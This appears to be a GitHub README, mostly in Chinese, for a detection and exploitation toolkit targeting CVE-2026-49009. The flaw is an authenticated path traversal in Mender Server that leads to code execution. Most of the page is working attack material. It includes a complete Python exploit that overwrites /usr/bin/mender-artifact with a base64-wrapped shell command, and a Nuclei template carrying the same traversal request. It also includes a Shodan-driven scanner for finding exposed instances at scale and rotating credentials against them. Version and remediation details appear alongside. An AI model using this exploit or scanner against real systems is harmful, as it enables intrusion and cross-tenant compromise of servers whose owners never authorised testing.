INTELEON404/CVE-2026-49009
GitHub: INTELEON404/CVE-2026-49009
针对CVE-2026-49009漏洞的检测和利用工具。
Stars: 0 | Forks: 0
**CVE-2026-49009 — Mender Server 认证后路径遍历导致远程代码执行**
[](https://nvd.nist.gov/vuln/detail/CVE-2026-49009)
[](https://nvd.nist.gov/vuln/detail/CVE-2026-49009)
[](https://cwe.mitre.org/data/definitions/22.html)
[](https://mender.io/blog/cve-2026-49009-cve-2026-33552-input-sanitization-and-access-control-issues-in-mender-server)
[](#disclaimer)
*发现者* [**j0xh-sec**](https://hackerone.com/j0xh-sec) 通过 HackerOne · *PoC 作者* **INTELEON404**
## 目录
- [漏洞概述](#vulnerability-summary)
- [受影响版本](#affected-versions)
- [技术分析](#technical-analysis)
- [概念验证](#proof-of-concept)
- [Python Exploit](#python-exploit)
- [Nuclei 模板](#nuclei-template)
- [ShodanX + Nuclei 扫描器](#shodanx--nuclei-scanner)
- [使用方法](#usage)
- [检测与指标](#detection--indicators)
- [修复方案](#remediation)
- [时间线](#timeline)
- [参考资料](#references)
- [免责声明](#disclaimer)
## 漏洞概述
| 字段 | 详情 |
|---|---|
| **CVE ID** | CVE-2026-49009 |
| **CVSS Score** | 9.9 Critical — `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` |
| **CWE** | CWE-22 — 路径名到受限目录的不当限制 |
| **受影响产品** | Northern.tech Mender Server (Community & Enterprise) |
| **发现者** | [j0xh-sec](https://hackerone.com/j0xh-sec) 通过 HackerOne(负责任的披露) |
| **PoC 作者** | INTELEON404 — 授权安全评估 |
| **CVE 发布时间** | 2026-05-27 |
| **补丁发布时间** | 2026-04-01 (Mender Server 4.1.1 / 4.0.2) |
### 描述
Mender Server 版本 ≤4.1.0 和 ≤4.0.1 的单文件 artifact 生成 API endpoint 中存在一个认证后的路径遍历漏洞。攻击者在 `filename` 字段中提供 `../` 序列,可以覆盖 `create-artifact-worker` 容器内的 `/usr/bin/mender-artifact`。当下一个工作流步骤调用此二进制文件时,任意命令将作为代码执行。
在多租户的 Hosted Mender 环境中,共享的 worker 容器会为所有租户处理 artifact —— 从而导致跨租户的入侵。
## 受影响版本
| 产品 | 易受攻击版本 | 已修复版本 |
|---|---|---|
| Mender Server (Community) | ≤ 4.1.0, ≤ 4.0.1 | **4.1.1**, **4.0.2** |
| Mender Server (Enterprise) | ≤ 4.1.0, ≤ 4.0.1 | **4.1.1**, **4.0.2** |
| Hosted Mender | 所有版本(补丁前) | 自动修复 |
## 技术分析
### 根本原因
`/api/management/v1/deployments/artifacts/generate` endpoint 接受位于 JSON `args` 参数内的 `filename` 字段。此值用于在 artifact 生成期间构建磁盘上的写入路径。路径遍历序列(`../`)未经清理,使得受攻击者控制的值能够脱离预期的上传目录。
### 攻击流程
```
┌─────────────────────────────────────────────────────────────────┐
│ │
│ 1. AUTHENTICATE │
│ POST /api/management/v1/useradm/auth/login │
│ Authorization: Basic ▶ 查看 exploit 代码
``` #!/usr/bin/env python3 """ CVE-2026-49009 — Mender Server Authenticated Path Traversal to RCE Discovered by: j0xh-sec (HackerOne) PoC by: INTELEON404 (Authorized security assessment) """ import argparse import base64 import json import re import sys import time import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def parse_args(): parser = argparse.ArgumentParser( description="CVE-2026-49009 — Mender Server Authenticated Path Traversal to RCE", epilog="Discovered by j0xh-sec | PoC by INTELEON404" ) parser.add_argument("-t", "--target", required=True, help="Base URL, e.g. https://mender.local") parser.add_argument("-u", "--username", required=True, help="Mender username / email") parser.add_argument("-p", "--password", required=True, help="Mender password") parser.add_argument("-c", "--command", required=True, help="Command to execute") return parser.parse_args() def banner(): print("\n[ CVE-2026-49009 ] Mender Server Path Traversal → RCE") print("[ Discovered by j0xh-sec | PoC by INTELEON404 ]\n") def build_payload(command: str) -> bytes: """Encode command as base64 shell script; preserves mender-artifact stdin passthrough.""" encoded = base64.b64encode(command.encode()).decode() return f"""#!/bin/sh # CVE-2026-49009 payload — INTELEON404 CMD_B64="{encoded}" CMD="$(printf '%s' "$CMD_B64" | base64 -d 2>/dev/null || printf '%s' "$CMD_B64")" /bin/sh -c "$CMD" exec /bin/sh "$@" """.encode() def main(): args = parse_args() banner() target = args.target.rstrip("/") if not target.startswith(("http://", "https://")): target = "https://" + target host = target.split("://")[1].split("/")[0] print(f"[*] Target : {target}") print(f"[*] User : {args.username}") # ── Step 1: Authenticate ────────────────────────────────────────────── print("[*] Authenticating...") try: r = requests.post( f"{target}/api/management/v1/useradm/auth/login", auth=(args.username, args.password), headers={"Host": host, "Content-Type": "application/json"}, data="{}", verify=False, timeout=30, ) if r.status_code != 200: raise RuntimeError(f"Login failed (HTTP {r.status_code}): {r.text.strip()}") jwt = r.text.strip() print("[+] JWT obtained") except requests.RequestException as e: raise RuntimeError(f"Connection error during login: {e}") # ── Step 2: Submit traversal payload ───────────────────────────────── print("[*] Submitting path traversal payload...") artifact_name = f"rce-poc-{int(time.time())}" args_json = { "filename": "../../../../usr/bin/mender-artifact", "dest_dir": "/opt/mender/app", "software_name": "demo", "software_version": "1", } files = { "name": (None, artifact_name), "description": (None, "CVE-2026-49009 PoC"), "type": (None, "single-file"), "device_types_compatible": (None, "qemu"), "args": (None, json.dumps(args_json), "application/json"), "file": ("payload.sh", build_payload(args.command), "application/octet-stream"), } try: r = requests.post( f"{target}/api/management/v1/deployments/artifacts/generate", headers={"Host": host, "Authorization": f"Bearer {jwt}"}, files=files, verify=False, timeout=60, allow_redirects=False, ) except requests.RequestException as e: raise RuntimeError(f"Connection error during exploit: {e}") location = r.headers.get("Location", "") if not location: print(f"[!] HTTP {r.status_code} — no Location header returned") print(f"[!] Response: {r.text[:500]}") print("[-] Target may be patched (≥ 4.1.1 / 4.0.2) or credentials lack permissions") sys.exit(1) job_id = re.search(r"/([^/]+)$", location).group(1) print(f"[+] Workflow submitted — Job ID: {job_id}") print(f"[+] Payload : {args.command}") print("\n[*] Command executes inside the worker container when the workflow completes.") if __name__ == "__main__": try: main() except RuntimeError as e: print(f"\n[!] ERROR: {e}", file=sys.stderr) sys.exit(1) except KeyboardInterrupt: print("\n[*] Interrupted") sys.exit(130) ```▶ 查看模板 (CVE-2026-49009.yaml)
``` id: CVE-2026-49009 info: name: Mender Server - Authenticated Path Traversal to RCE Detection author: j0xh-sec severity: medium description: | Mender Server versions 4.1.0, 4.0.1, and below are vulnerable to an authenticated path traversal in the single-file artifact generation API endpoint. An attacker with a valid user account can supply a filename containing traversal sequences, causing the uploaded file payload to be written outside the intended directory. impact: | Successful exploitation gives an authenticated attacker remote code execution inside the create-artifact-worker container. remediation: | Upgrade to Mender Server 4.1.1, 4.0.2, or later. Affected versions include all releases prior to and including 4.1.0 and 4.0.1 for both Mender Server Community (Open Source) and Mender Server Enterprise. reference: - https://nvd.nist.gov/vuln/detail/CVE-2026-49009 - https://mender.io/blog/cve-2026-49009-cve-2026-33552-input-sanitization-and-access-control-issues-in-mender-server classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H cvss-score: 9.9 cve-id: CVE-2026-49009 cwe-id: CWE-22 metadata: verified: true max-request: 1 vendor: northern.tech product: mender_server shodan-query: http.title:"Mender" fofa-query: title="Mender" tags: cve,cve2026,mender,path-traversal,rce,authenticated http: - raw: - |+ POST /api/management/v1/deployments/artifacts/generate HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr}} ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="name" cve-scan-{{randstr}} ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="description" CVE-2026-49009 verification ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="type" single-file ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="device_types_compatible" qemu ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="args" Content-Type: application/json {"filename":"../../../../usr/bin/mender-artifact","dest_dir":"/opt/mender/app","software_name":"demo","software_version":"1"} ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="file"; filename="payload.sh" Content-Type: application/octet-stream #!/bin/sh echo ------WebKitFormBoundary{{randstr}}-- matchers-condition: or matchers: # If the instance responds with a 400 Bad Request indicating a parsing error or # schema validation failure specifically from the deployment service, the path exists. - type: dsl dsl: - "status_code == 400" - "contains(body, 'deployment') || contains(body, 'artifact')" condition: and # Secure setups or unauthenticated attempts to reach this deep API route will # typically return a 401 Unauthorized, validating endpoint presence but blocking access. - type: dsl dsl: - "status_code == 401" - "contains(body, 'unauthorized') || contains(body, 'jwt')" condition: or ```
### ShodanX + Nuclei 扫描器
将 [ShodanX](https://github.com/RevoltSecurities/ShodanX) 侦察与 Nuclei 扫描结合,以大规模发现并评估 Mender Server 实例。
**阶段:**
1. **发现** — ShodanX dork `http.title:"Mender"`,提取 IP:port 对
2. **扫描** — Nuclei 通过凭证轮换对发现的目标运行 CVE 模板
3. **报告** — 去重的 JSON + 纯文本输出
▶ 查看扫描器脚本 (cve-2026-49009-scanner.sh)
``` #!/bin/bash set -euo pipefail RED='\033[0;31m'; GREEN='\033[0;32m'; YELLOW='\033[1;33m' CYAN='\033[0;36m'; BOLD='\033[1m'; NC='\033[0m' SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" TIMESTAMP="$(date +%Y%m%d_%H%M%S)" OUTPUT_DIR="${SCRIPT_DIR}/cve-2026-49009-scan-${TIMESTAMP}" SHODAN_QUERY='http.title:"Mender"' PAGES=3 RATE=50 NO_SHODAN=false CREDS_ARRAY=() usage() { cat <
**发现者** [j0xh-sec](https://hackerone.com/j0xh-sec) 通过 HackerOne · 对 Northern.tech 进行负责任的披露
**PoC 作者** INTELEON404 · 授权安全评估